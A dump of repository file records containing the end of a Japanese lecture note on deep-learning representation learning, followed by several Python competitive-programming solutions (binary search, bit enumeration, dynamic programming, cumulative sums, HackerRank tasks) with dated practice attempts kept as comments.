Research(FAIR)のソフトウェアシステムであるDetectronは、これらの最先端の物体検出アルゴリズムをすべて実装しており、オープンソースになっています。\n\nCNNの実用的な応用例としては、自動運転や医療画像の分析などがあります。\n\nディープラーニングの背後にある科学と数学はかなり理解されていますが、まだまだ研究が必要な興味深い問題がいくつかあります。これらの疑問には以下のようなものがあります。2つの層でどんな関数も近似できるのに、なぜ複数の層を持つアーキテクチャの方が性能が良いのか?なぜCNNは音声、画像、テキストなどの自然なデータに対してうまく機能するのか?非凸関数をどうやってこれほどうまく最適化できるのか?オーバーパラメトライズドなアーキテクチャはなぜ機能するのか?などです。\n\n特徴抽出は、拡張された特徴が線形分離可能である可能性が高くなるように表現次元を拡張することからなります。\n\n初期の機械学習では、人工知能モデルを構築するために、高品質で手作業で作られたタスク固有の特徴に頼っていました。しかし、ディープラーニングの出現により、モデルは自動的に一般的な特徴を抽出することができるようになりました。特徴抽出アルゴリズムで使用されている一般的なアプローチを以下に紹介します。\n\n- スペースタイリング\n- ランダム射影\n- 多項式分類器 (特徴量の交差積)\n- 放射基底関数\n- カーネルマシン\n\nデータの構成性のため、学習された特徴は抽象度が高くなるにつれて表現の階層を持ちます。例えば、以下のようなものがあります。\n\n画像 - 最も細かいレベルでは、画像はピクセルとして考えることができます。ピクセルの組み合わせはエッジを構成し、それらが組み合わされることでtexton(複数のエッジ形状)が形成されます。textonはモチーフを形成し、モチーフは画像の一部を形成します。これらの部分を組み合わせることで、最終的な画像を得ることができます。\nテキスト - 同様に、テキストデータにも固有の階層があります。文字は単語を形成し、単語を組み合わせることで単語群を形成し、次に節を形成し、節を組み合わせることで文を形成します。文は、最終的にどのようなストーリーが伝えられているのかを教えてくれます。\n音声 - 音声では、サンプルがバンドを構成し、それが音を構成し、それが単音を構成し、次に音素を構成し、次に単語全体を構成し、次に文を構成し、このように表現に明確な階層性があることを示しています。\n\n## 表現の学習\nディープラーニングを否定する人たちがいます: どんな関数でも2つの層で近似できるなら、なぜそれ以上の層を持つ必要があるのでしょうか?\n\n例えば SVMは「データ全体に渡って」分離する超平面を見つけます。これは、予測が訓練サンプルの比較に基づいていることを意味しています。SVMは本質的に非常に単純な2層のニューラルネットであり、第1層が「テンプレート」を定義し、第2層が線形分類器です。2層に関する誤謬の問題点は、中間層の複雑さとサイズがNNについて指数関数的であることです(難しいタスクをうまくこなすためには、たくさんのテンプレートが必要だということです)。しかし、層の数を \\log(N)log(N) に拡張すると、層は NNについて線形になります。時間と空間の間にはトレードオフがあるのです。\n\nアナロジーとして、2層以上のゲートでブール関数を計算する回路を設計することが考えられます – どんなブール関数もこの方法で計算できます! しかし、最初の層(ゲート数)の複雑さとリソースは、複雑な関数にはすぐに実行不可能になります。\n\nでは「ディープ」とは何でしょう?\n\nSVMは2つの層しかないので、ディープではありません。\n分類木は、すべてのレイヤーが同じ(生の)特徴を分析するので、深くはありません。\nディープネットワークにはいくつかの層があり、それらを使用して複雑さを増す特徴の階層を構築します。\nモデルはどのようにして表現(良い特徴)を学習できるのでしょうか?\n\n多様体仮説:自然なデータは低次元の多様体の中に存在するというものです。可能な画像の集合は本質的に無限ですが、「自然な」画像の集合はごく一部です。例えば、人物の画像の場合、可能な画像の集合は、人物が動かせる顔の筋肉の数(自由度)〜50のオーダーです。理想的な(非現実的な)特徴抽出器は、すべての変動要因(筋肉、照明、など)を表現します。\n\n講義の最後からQ&A。\n\n顔の例では、他の次元削減技術(PCAなど)でこれらの特徴を抽出できますか?\n答え: 多様体表面が超平面である場合にのみ機能しますが、そうではありません。\n" }, { "alpha_fraction": 0.5322052240371704, "alphanum_fraction": 0.5605894923210144, "avg_line_length": 18.913043975830078, "blob_id": "76365411c043d025d8f4569f17f08989e702baf2", "content_id": "3c106920cd620df8a3a0fd67c0487693a3eaf7ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1851, "license_type": "no_license", "max_line_length": 64, "num_lines": 92, "path": "/examples/intermediate/05_binary_search/019.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import bisect\nd = int(input())\nN = int(input())\nM = int(input())\nshop = [0]\nhome = []\nfor n in range(N-1):\n shop.append(int(input()))\nfor m in range(M):\n home.append(int(input()))\nshop.sort()\nshop.append(d)\nans = 0\nfor h in home:\n i = bisect.bisect(shop, h)\n ans += min(abs(shop[i-1]-h), abs(shop[i]-h))\nprint (ans)\n\n# My answer\n# 2021/04/24\n# from bisect import bisect_left\n#\n# d = int(input())\n# n = int(input())\n# m = int(input())\n# S = [0] + [int(input()) for _ in range(n-1)] + [d]\n# K = [int(input()) for _ in range(m)]\n#\n# S.sort() # list の sort は nlog(n)\n# ans = 0\n#\n# for k in K:\n# index = bisect_left(S, k)\n# ans += min(S[index]-k, k-S[index-1])\n#\n# print(ans)\n\n# 2021/04/30\n# from bisect import bisect_left\n#\n# d = int(input())\n# n = int(input())\n# m = int(input())\n# shops = [int(input()) for _ in range(n-1)] # [0] 足すの忘れてる \n# destinations = [int(input()) for _ in range(m)]\n#\n# ans = 0\n# shops.sort()\n# shops.append(d)\n#\n# for des in destinations:\n# index = bisect_left(shops, des)\n# ans += min(abs(shops[index]-des), abs(des-shops[index-1]))\n#\n# print(ans)\n\n# 2021/05/06\n# from bisect import bisect_left\n#\n# d = int(input())\n# n = int(input())\n# m = int(input())\n# stores = [int(input()) for _ in range(n-1)]\n# homes = [int(input()) for _ in range(m)]\n#\n# stores = [0] + stores + [d]\n# stores.sort()\n# ans = 0\n#\n# for h in homes:\n# index = bisect_left(stores, h)\n# ans += min(stores[index]-h, h-stores[index-1])\n#\n# print(ans)\n\n# 2021/06/10\n# from bisect import bisect_left\n#\n# d = int(input())\n# n = int(input())\n# m = int(input())\n# shops = [0] + [int(input()) for _ in range(n-1)] + [d]\n# homes = [int(input()) for _ in range(m)]\n# ans = 0\n#\n# shops.sort()\n#\n# for h in homes:\n# index = bisect_left(shops, h)\n# ans += min(h-shops[index-1], shops[index]-h)\n#\n# print(ans)\n" }, { "alpha_fraction": 0.4366925060749054, "alphanum_fraction": 0.5012919902801514, "avg_line_length": 21.764705657958984, "blob_id": "c19f20c48f77180e7c92a0c97d99d1d2294faba6", "content_id": "1037c4f8010230100035c7c9404f9e8bdbcc0988", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 387, "license_type": "no_license", "max_line_length": 93, "num_lines": 17, "path": "/examples/beginner/ABC087B.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# A = int(input())\n# B = int(input())\n# C = int(input())\n# X = int(input())\n#\n# count = 0\n#\n# for a in range(A+1):\n# for b in range(B+1):\n# for c in range(C+1):\n# if a*500 + b*100 + c*50 == X: count += 1\n#\n# print(count)\n\nA, B, C, X = [int(input()) for i in range(4)]\n\nprint(sum(a*500+b*100+c*50 == X for a in range(A+1) for b in range(B+1) for c in range(C+1)))\n" }, { "alpha_fraction": 0.43409740924835205, "alphanum_fraction": 0.4617955982685089, "avg_line_length": 19.52941131591797, "blob_id": "346b23a28319deda45e41d9305aabb7709cffe79", "content_id": "ca666ad244c12d2d7fbf5fff59518373f14ba0bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2174, "license_type": "no_license", "max_line_length": 71, "num_lines": 102, "path": "/examples/intermediate/03_bit_all_enumeration/011.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import product\nN, M = map(int,input().split())\nS = []\nfor m in range(M):\n s = list(map(int,input().split()))\n S.append(s[1:])\nP = list(map(int,input().split()))\n\nans = 0\nfor c in product([0,1],repeat=N):\n ok = True\n for m in range(M):\n sm = 0\n for s in S[m]:\n sm += c[s-1]\n if sm % 2 != P[m]:\n ok = False\n break\n if ok:\n ans += 1\nprint (ans)\n\n# My answer\n# 2021/04/22 # from itertools import product\n#\n# N, M = map(int, input().split())\n# S = []\n#\n# for _ in range(M):\n# s = tuple(map(int, input().split()))\n# S.append(s[1:])\n#\n# P = tuple(map(int, input().split()))\n#\n# ans = 0\n#\n# for x in product(range(2), repeat=N):\n# for m in range(M):\n# sm = 0\n# s = S[m]\n# p = P[m]\n#\n# for index, element in enumerate(x, 1):\n# if element: # 0,1 で判定するならそのまま足せば良い\n# if index in s:\n# sm += 1\n#\n# if sm % 2 != p: break\n# if m == list(range(M))[-1]: ans += 1 # break の後に続きがあるのはバグりやすい\n#\n# print(ans)\n\n# 2021/04/30\n# from itertools import product\n#\n# N, M = map(int, input().split())\n# S = []\n# for _ in range(M):\n# s = list(map(int, input().split()))\n# S.append(s[1:])\n# P = list(map(int, input().split()))\n# ans = 0\n#\n# for c in product(range(2), repeat=N):\n# flag = True\n#\n# for i in range(M):\n# count = 0\n# for s in S[i]:\n# count += c[s-1]\n# if P[i] != count % 2:\n# flag = False # この後に break するべき\n#\n# if flag: ans += 1\n#\n# print(ans)\n\n# 2021/06/08\n# from itertools import product\n#\n# N, M = map(int, input().split())\n# S = []\n# for _ in range(M):\n# s = list(map(int, input().split()))\n# S.append(s[1:])\n# P = list(map(int, input().split()))\n#\n# ans = 0\n# for c in product([0, 1], repeat=N):\n# flag = True\n#\n# for i in range(M):\n# count = 0\n# for s in S[i]:\n# count += c[s-1]\n# if count % 2 != P[i]:\n# flag = False\n# break\n#\n# if flag: ans += 1\n#\n# print(ans)\n" }, { "alpha_fraction": 0.4742451012134552, "alphanum_fraction": 0.5056246519088745, "avg_line_length": 19.10714340209961, "blob_id": "f5dd61d85064a172b56353128ac88136aaefcfbb", "content_id": "40ac87558870ec2302e5480b2ad9f21045a6eae9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1763, "license_type": "no_license", "max_line_length": 70, "num_lines": 84, "path": "/examples/intermediate/03_bit_all_enumeration/010.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import product\nn = int(input())\nA = list(map(int, input().split()))\nq = int(input())\nM = list(map(int, input().split()))\n\ncreate = [0] * 40001\n\nfor p in product([0,1], repeat=n):\n sm = 0\n for i in range(n):\n if p[i]==1:\n sm += A[i]\n create[sm] = 1\n\nfor m in M:\n if create[m]:\n print('yes')\n else:\n print ('no')\n\n# My answer\n# 2021/04/22\n# from itertools import product\n#\n# n = int(input())\n# A = tuple(map(int, input().split()))\n# q = int(input())\n# m = tuple(map(int, input().split()))\n#\n# ans = [0] * 2_001\n#\n# for p in product(range(2), repeat=n):\n# sm = 0\n#\n# for i in range(n):\n# if p[i] == 1: sm += A[i]\n#\n# if sm in m: ans[sm] = 1 # if 文自体必要ない\n#\n# for i in m:\n# if ans[i] == 1: print('yes') # 1, 0 は True, False で判定される \n# else: print('no')\n\n# 2021/04/30\n# from itertools import product\n#\n# N = int(input())\n# A = list(map(int, input().split()))\n# q = int(input())\n# M = list(map(int, input().split()))\n# sm = []\n#\n# for c in product(range(2), repeat=N):\n# count = 0\n# for i in range(N):\n# if c[i] == 1:\n# count += A[i]\n# sm.append(count)\n#\n# for m in M:\n# if m in sm: print('yes') # 若干遅い可能性がある. sm を set しておくと探索コストは O(1)\n# else: print('no')\n\n# 2021/05/21\n# from itertools import product\n#\n# N = int(input())\n# A = list(map(int, input().split()))\n# Q = int(input())\n# M = list(map(int, input().split()))\n#\n# sm = []\n# for p in product(range(2), repeat=N):\n# count = 0\n# for i in range(N):\n# if p[i]:\n# count += A[i]\n# sm.append(count)\n#\n# st = set(sm)\n# for m in M:\n# if m in st: print('yes')\n# else: print('no')\n" }, { "alpha_fraction": 0.5241157412528992, "alphanum_fraction": 0.5586816668510437, "avg_line_length": 19.064516067504883, "blob_id": "57f71041ade29c1fcf9b495e1f6a2dd38921d521", "content_id": "ac5fd911627879cbb0cdcdd3596b3fa10ab39c2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1338, "license_type": "no_license", "max_line_length": 83, "num_lines": 62, "path": "/examples/intermediate/04_permutation_all_enumeration/016.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import permutations\nN = int(input())\nP = tuple(map(int, input().split()))\nQ = tuple(map(int, input().split()))\n\nfor i,p in enumerate(permutations(range(1,N+1))): # (1,2,3,..)のように辞書順に並んでいるシーケンスを渡す\n if p==P:\n a = i\n if p==Q:\n b = i\n\nprint (abs(a-b))\n\n# My answer\n# 2021/04/24\n# from itertools import permutations\n#\n# N = int(input())\n# P = tuple(map(int, input().split()))\n# Q = tuple(map(int, input().split()))\n#\n# a = 0\n# b = 0\n#\n# # index を 1 から始める必要ない\n# # index の指定がなければ list 化する必要もない\n# for index, c in enumerate(list(permutations(range(1, N+1))), 1):\n# if c == P: a = index\n# if c == Q: b = index\n#\n# print(abs(a-b))\n\n# 2021/04/30\n# from itertools import permutations\n#\n# N = int(input())\n# P = tuple(map(int, input().split()))\n# Q = tuple(map(int, input().split()))\n# a = 0\n# b = 0\n#\n# for i, c in enumerate(permutations(range(1, N+1))):\n# if c == P: a = i\n# if c == Q: b = i\n#\n# print(abs(a-b))\n\n# 2021/06/09\n# from itertools import permutations\n#\n# N = int(input())\n# P = tuple(map(int, input().split()))\n# Q = tuple(map(int, input().split()))\n#\n# a = 0\n# b = 0\n#\n# for i, c in enumerate(permutations(range(1, N+1), N)):\n# if P == c: a = i\n# if Q == c: b = i\n#\n# print(abs(a-b))\n" }, { "alpha_fraction": 0.5487805008888245, "alphanum_fraction": 0.5609756112098694, "avg_line_length": 15.399999618530273, "blob_id": "f805f177b35f83e0971c98828e78e5c5fc30729a", "content_id": "d5c7f0bf482462ac7f3434377638daf2fc91a2d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 164, "license_type": "no_license", "max_line_length": 27, "num_lines": 10, "path": "/examples/contests/201/B.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N = int(input())\nmountains = []\nfor _ in range(N):\n s, t = input().split()\n t = int(t)\n mountains.append((t,s))\n\nmountains.sort()\n\nprint(mountains[-2][1])\n" }, { "alpha_fraction": 0.5425268411636353, "alphanum_fraction": 0.5557390451431274, "avg_line_length": 21.849056243896484, "blob_id": "0ff900b86c17a58ffd66757c7acd6c6eaeb9b25f", "content_id": "801003a47ede9ce39d28c2f379d46d5b8e263994", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1211, "license_type": "no_license", "max_line_length": 64, "num_lines": 53, "path": "/examples/hackerrank/sort/02.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import math\nimport os\nimport random\nimport re\nimport sys\nfrom itertools import accumulate\n\n#\n# Complete the 'maximumToys' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts following parameters:\n# 1. INTEGER_ARRAY prices\n# 2. INTEGER k\n#\n\ndef maximumToys(prices, k):\n # dp = [[0] * (k+1) for _ in range(len(prices)+1)]\n # for i in range(len(prices)):\n # price = prices[i]\n # for j in range(k+1):\n # if j >= price:\n # dp[i+1][j] = max(dp[i][j], dp[i][j-price] + 1)\n # else:\n # dp[i+1][j] = dp[i][j]\n # return dp[-1][-1]\n prices = [0] + prices\n prices.sort()\n\n ans = 0\n csum = list(accumulate(prices))\n for i in range(len(prices)+1):\n if csum[i] <= k: ans = i\n else: break\n return ans\n\nif __name__ == '__main__':\n # fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n first_multiple_input = input().rstrip().split()\n\n n = int(first_multiple_input[0])\n\n k = int(first_multiple_input[1])\n\n prices = list(map(int, input().rstrip().split()))\n\n result = maximumToys(prices, k)\n print(result)\n\n # fptr.write(str(result) + '\\n')\n #\n # fptr.close()\n" }, { "alpha_fraction": 0.3899053633213043, "alphanum_fraction": 0.4264984130859375, "avg_line_length": 23.015151977539062, "blob_id": "2d640299f7041597de3930250596616a950e8d56", "content_id": "b6c0418c90f426ed9e884f14d58ecd8e9b27399c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1609, "license_type": "no_license", "max_line_length": 78, "num_lines": 66, "path": "/examples/intermediate/08_dynamic_programming/036.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N, W = map(int, input().split())\nvw = []\nfor n in range(N):\n v, w = map(int,input().split())\n vw.append((v,w))\ndp = [[0]*(W+1) for _ in range(N+1)]\nfor n in range(N):\n vn ,wn = vw[n]\n for w in range(W+1):\n if w-wn >= 0:\n dp[n+1][w] = max(dp[n+1][w-wn] + vn, dp[n][w])\n else:\n dp[n+1][w] = dp[n][w]\nprint (dp[N][W])\n\n# My answer\n# 2021/04/25\n# N, W = map(int, input().split())\n# items = []\n# for _ in range(N):\n# v, w = map(int, input().split())\n# items.append((v, w))\n#\n# dp = [[0]*(W+1) for _ in range(N+1)]\n#\n# for i in range(N):\n# v, w = items[i]\n# for j in range(W+1):\n# if j-w >= 0:\n# dp[i+1][j] = max(dp[i+1][j-w] + v, dp[i][j]) # 個数制限なしは i+1 にするだけ\n# else:\n# dp[i+1][j] = dp[i][j]\n#\n# print(dp[N][W])\n\n# 2021/05/02\n# N, W = map(int, input().split())\n# items = [tuple(map(int, input().split())) for _ in range(N)]\n#\n# dp = [[0]*(W+1) for _ in range(N+1)]\n#\n# for n in range(N):\n# nv, nw = items[n]\n# for w in range(W+1):\n# if w - nw >= 0:\n# dp[n+1][w] = max(dp[n][w], dp[n+1][w-nw]+nv)\n# else:\n# dp[n+1][w] = dp[n][w]\n#\n# print(dp[N][W])\n\n# 2021/06/11\n# N, W = map(int, input().split())\n# items = [tuple(map(int, input().split())) for _ in range(N)]\n#\n# dp = [[0] * (W+1) for _ in range(N+1)]\n#\n# for i in range(N):\n# for w in range(W+1):\n# nv, nw = items[i]\n# if w >= nw:\n# dp[i+1][w] = max(dp[i][w], dp[i+1][w-nw] + nv)\n# else:\n# dp[i+1][w] = dp[i][w]\n#\n# print(dp[-1][-1])\n" }, { "alpha_fraction": 0.49030786752700806, "alphanum_fraction": 0.5070315599441528, "avg_line_length": 24.05714225769043, "blob_id": "5e4aa24e876ef53e6f92de05f154a3b4129cfcb9", "content_id": "0d0c308047a1189162a04fc75acb7cf96bae8a23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2659, "license_type": "no_license", "max_line_length": 91, "num_lines": 105, "path": "/examples/intermediate/19_cumulative_sum/078.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import itertools\ndef transpose(mat): # 二次元のリストを転置する関数\n return list(zip(*mat))\nM, N = map(int, input().split())\nK = int(input())\nA = []\nfor m in range(M):\n a = input()\n A.append(a)\n\nJ = [[0] * (N+1) for _ in range(M+1)]\nO = [[0] * (N+1) for _ in range(M+1)]\nI= [[0] * (N+1) for _ in range(M+1)]\n\nfor m in range(M):\n for n in range(N):\n if A[m][n]=='J':\n J[m+1][n+1] = 1\n elif A[m][n] == 'O':\n O[m+1][n+1] = 1\n else:\n I[m+1][n+1] = 1\n\ndef calc_csum_mat(A):\n B = []\n for a in A:\n csum = list(itertools.accumulate(a))\n B.append(csum)\n B = transpose(B)\n\n csum_mat = []\n for a in B:\n csum = list(itertools.accumulate(a))\n csum_mat.append(csum)\n csum_mat = transpose(csum_mat)\n return csum_mat\n\nJ = calc_csum_mat(J)\nO = calc_csum_mat(O)\nI = calc_csum_mat(I)\nquery = []\ndef calc_csum(mat,a,b,c,d):\n a -= 1\n b -= 1\n return str(mat[c][d] - mat[c][b] - mat[a][d] + mat[a][b])\nfor k in range(K):\n query.append(list(map(int,input().split())))\nfor q in query:\n a,b,c,d = q\n print (calc_csum(J,a,b,c,d) + ' ' + calc_csum(O,a,b,c,d) + ' ' + calc_csum(I,a,b,c,d))\n\n# My answer\n# 2021/05/04\n# from itertools import accumulate\n#\n# M, N = map(int, input().split())\n# K = int(input())\n# mp = []\n# for _ in range(M):\n# line = input()\n# mp.append(line)\n# areas = [tuple(map(int, input().split())) for _ in range(K)]\n#\n# def string_to_int(mp, letter):\n# new_mp = []\n# for line in mp:\n# new_line = [0]*N\n# for i in range(N):\n# if line[i] == letter: new_line[i] = 1\n# new_mp.append(new_line)\n# return new_mp\n#\n# def transpose(mp):\n# return list(zip(*mp))\n#\n# def accumulate_map(mp):\n# ac_mp = []\n# tmp_ac_mp = []\n#\n# for line in mp:\n# ac = list(accumulate(line))\n# tmp_ac_mp.append([0]+ac)\n#\n# tmp_ac_mp = translate(tmp_ac_mp)\n#\n# for line in tmp_ac_mp:\n# ac = list(accumulate(line))\n# ac_mp.append([0]+ac)\n#\n# return translate(ac_mp)\n#\n# j_map = string_to_int(mp, 'J')\n# o_map = string_to_int(mp, 'O')\n# i_map = string_to_int(mp, 'I')\n#\n# ac_j_map = accumulate_map(j_map)\n# ac_o_map = accumulate_map(o_map)\n# ac_i_map = accumulate_map(i_map)\n#\n# for a, b, c, d in areas:\n# ans = []\n# ans.append(ac_j_map[c][d] + ac_j_map[a-1][b-1] - ac_j_map[c][b-1] - ac_j_map[a-1][d])\n# ans.append(ac_o_map[c][d] + ac_o_map[a-1][b-1] - ac_o_map[c][b-1] - ac_o_map[a-1][d])\n# ans.append(ac_i_map[c][d] + ac_i_map[a-1][b-1] - ac_i_map[c][b-1] - ac_i_map[a-1][d])\n# print(' '.join(list(map(str, ans))))\n" }, { "alpha_fraction": 0.45816993713378906, "alphanum_fraction": 0.4960784316062927, "avg_line_length": 27.33333396911621, "blob_id": "f69c7c95cba8a57542845604733c0f62f271e695", "content_id": "1694a6d777284f1f56333e8f50e7c743089a4bb9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1994, "license_type": "no_license", "max_line_length": 77, "num_lines": 54, "path": "/examples/intermediate/11_bit_dp/049.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "V, E = map(int, input().split())\nINF = 10**10\ncost = [[INF]*V for _ in range(V)] # 重み\nfor e in range(E):\n s, t, d = map(int,input().split())\n cost[s][t] = d\n\ndp = [[-1] * V for _ in range(1<<V)] # dp[S][v]\n\ndef dfs(S, v, dp):\n if dp[S][v] != -1: # 訪問済みならメモを返す\n return dp[S][v]\n if S==(1<<V)-1 and v==0: # 全ての頂点を訪れて頂点0に戻ってきた\n return 0 # もう動く必要はない\n\n res = INF\n for u in range(V):\n if S>>u & 1 == 0: # 未訪問かどうか\n res = min(res, dfs(S|1<<u, u, dp)+cost[v][u])\n dp[S][v] = res\n return res\n\nans = dfs(0, 0, dp) # 頂点0からスタートする。ただし頂点0は未訪問とする\nif ans == INF:\n print(-1)\nelse:\n print (ans)\n\n# My answer\n# 2021/05/12\n# V, E = map(int,input().split())\n# G = [[float('inf')]*V for i in range(V)] # 存在しないパスはinfになるように、最初にすべてinfにしておく\n# for i in range(E):\n# s,t,d = map(int,input().split())\n# G[s][t] = d # s,tは0以上V-1以下なので、デクリメントの必要はない\n# dp = [[float('inf')]*V for i in range(2**V)] # dpの長さは2^V必要\n# dp[0][0] = 0 # 0から出発するのでdp[0][0]を0にしておく\n#\n#\n# for S in range(2**V): # Sは集合をbitで表している\n# for v in range(V): # vは配られる側の要素を表している\n# for u in range(V): # uは配る側の要素を表している\n# if not (S >> u) & 1 and S != 0: # ①\n# continue\n# if (S >> v) & 1 == 0: # ②\n# if dp[S][u] + G[u][v] < dp[S | (1 << v)][v]:\n# dp[S | (1 << v)][v] = dp[S][u] + G[u][v] # ③\n#\n# # 全ての要素が含まれていて、末項が0のものの最小コストを出力する\n# # infだった場合は到達できないということなので-1を出力する\n# if dp[2**V-1][0] != float('inf'):\n# print(dp[2**V-1][0])\n# else:\n# print(-1)\n" }, { "alpha_fraction": 0.4625000059604645, "alphanum_fraction": 0.574999988079071, "avg_line_length": 15, "blob_id": "6f5335dd4bd2bade733fd4a78ff5b87887008262", "content_id": "9d0a32a0f4c07efeb5c4d65e161ccf1a91077ce4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 80, "license_type": "no_license", "max_line_length": 28, "num_lines": 5, "path": "/algorithm/binary_search.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import bisect\na = [1, 2, 3, 5, 6, 7, 8, 9]\nb=bisect.bisect_left(a, 8)\n\nprint(b)\n" }, { "alpha_fraction": 0.6013985872268677, "alphanum_fraction": 0.6103895902633667, "avg_line_length": 21.75, "blob_id": "1b53cba6bd1c0f98cd29c1a1aa1f573ead430afe", "content_id": "c5fc13b9f030eb988d7cc6c834c33194e5ea46ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1001, "license_type": "no_license", "max_line_length": 115, "num_lines": 44, "path": "/examples/hackerrank/dictionary/03.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# https://www.thepoorcoder.com/hackerrank-sherlock-and-anagrams-solution/\n\nimport math\nimport os\nimport random\nimport re\nimport sys\nfrom collections import Counter\n\n#\n# Complete the 'sherlockAndAnagrams' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts STRING s as parameter.\n#\n\ndef sherlockAndAnagrams(s):\n ans = 0\n sub = []\n for i in range(1,len(s)):\n for j in range(0,len(s)-i+1):\n sub.append(''.join(sorted(s[j:j+i])))\n count = Counter(sub)\n\n # If a substring appears k times, then the total possible anagrams of that substring will be 1+2+3+......+(k-1)\n for value in count.values():\n for i in range(1, value):\n ans += i\n\n return ans\n\nif __name__ == '__main__':\n # fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n q = int(input().strip())\n\n for q_itr in range(q):\n s = input()\n\n result = sherlockAndAnagrams(s)\n\n # fptr.write(str(result) + '\\n')\n #\n # fptr.close()\n" }, { "alpha_fraction": 0.4618644118309021, "alphanum_fraction": 0.5762711763381958, "avg_line_length": 25.22222137451172, "blob_id": "b044bbca60c21fea2ccdab19c85b38715d7d8af8", "content_id": "c4d513135b5759f62daec7b7f742d06ac0d25325", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 338, "license_type": "no_license", "max_line_length": 73, "num_lines": 9, "path": "/algorithm/initial.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "a=[0]*5\nb=a #良くない配列のコピー\nb2=a[:] #1次元のときはコピーはこれで良い\na[1]=3\nprint('b:{}, b2:{}'.format(b,b2)) #b:[0, 3, 0, 0, 0], b2:[0, 0, 0, 0, 0]\n\nimport copy\na= [[0]*3 for i in range(5)] #2次元配列はこう準備、[[0]*3]*5だとだめ\nb=copy.deepcopy(a) #2次元配列はこうコピーする\n" }, { "alpha_fraction": 0.3947368562221527, "alphanum_fraction": 0.42801856994628906, "avg_line_length": 27.711111068725586, "blob_id": "e00f98eb48342de09b1c3fd137d68772572cae5b", "content_id": "6a76e17f329bc7f81612f72113a6d7db5257a53d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1332, "license_type": "no_license", "max_line_length": 103, "num_lines": 45, "path": "/examples/contests/201/D.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "H, W = map(int, input().split())\nA = []\nboard = []\n\nfor _ in range(H): A.append(input())\nfor i in range(H):\n array1 = []\n for j in range(W):\n a = A[i][j]\n if a == \"+\":\n array1.append(1)\n else:\n array1.append(-1)\n board.append(array1)\n\ndp = [[0]*W for _ in range(H)] # マス(i,j)のときの takahashi - aoki のスコア.takahashi は max, aoki は min にするように動く\n\nfor i in range(H-1, -1, -1):\n for j in range(W-1, -1, -1):\n if i == H-1 and j == W-1: continue\n\n is_takahasi_turn = True if (i + j) % 2 == 0 else False\n\n if i + 1 < H and j + 1 < W:\n if is_takahasi_turn:\n dp[i][j] = max(dp[i+1][j] + board[i+1][j], dp[i][j+1] + board[i][j+1])\n else:\n dp[i][j] = min(dp[i+1][j] - board[i+1][j], dp[i][j+1] - board[i][j+1])\n elif i + 1 < H:\n if is_takahasi_turn:\n dp[i][j] = dp[i+1][j] + board[i+1][j]\n else:\n dp[i][j] = dp[i+1][j] - board[i+1][j]\n elif j + 1 < W:\n if is_takahasi_turn:\n dp[i][j] = dp[i][j+1] + board[i][j+1]\n else:\n dp[i][j] = dp[i][j+1] - board[i][j+1]\n\nif dp[0][0] == 0:\n print('Draw')\nelif dp[0][0] > 0:\n print('Takahashi')\nelse:\n print('Aoki')\n" }, { "alpha_fraction": 0.6396760940551758, "alphanum_fraction": 0.6423751711845398, "avg_line_length": 17.524999618530273, "blob_id": "671d6b99761fe388d7187f72d129756501a40e08", "content_id": "5d653e7d58d6666d2c4cbadd6c06f938e81ec1d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 741, "license_type": "no_license", "max_line_length": 62, "num_lines": 40, "path": "/examples/tests/autify/01.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n\nfrom collections import Counter\n\n#\n# Complete the 'findAllDuplicates' function below.\n#\n# The function is expected to return an INTEGER_ARRAY.\n# The function accepts INTEGER_ARRAY arr as parameter.\n#\n\ndef findAllDuplicates(arr):\n arr = [key for key,val in Counter(arr).items() if val > 1]\n return sorted(arr)\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n arr_count = int(input().strip())\n\n arr = []\n\n for _ in range(arr_count):\n arr_item = int(input().strip())\n arr.append(arr_item)\n\n result = findAllDuplicates(arr)\n\n fptr.write('\\n'.join(map(str, result)))\n fptr.write('\\n')\n\n fptr.close()\n" }, { "alpha_fraction": 0.42592594027519226, "alphanum_fraction": 0.4552469253540039, 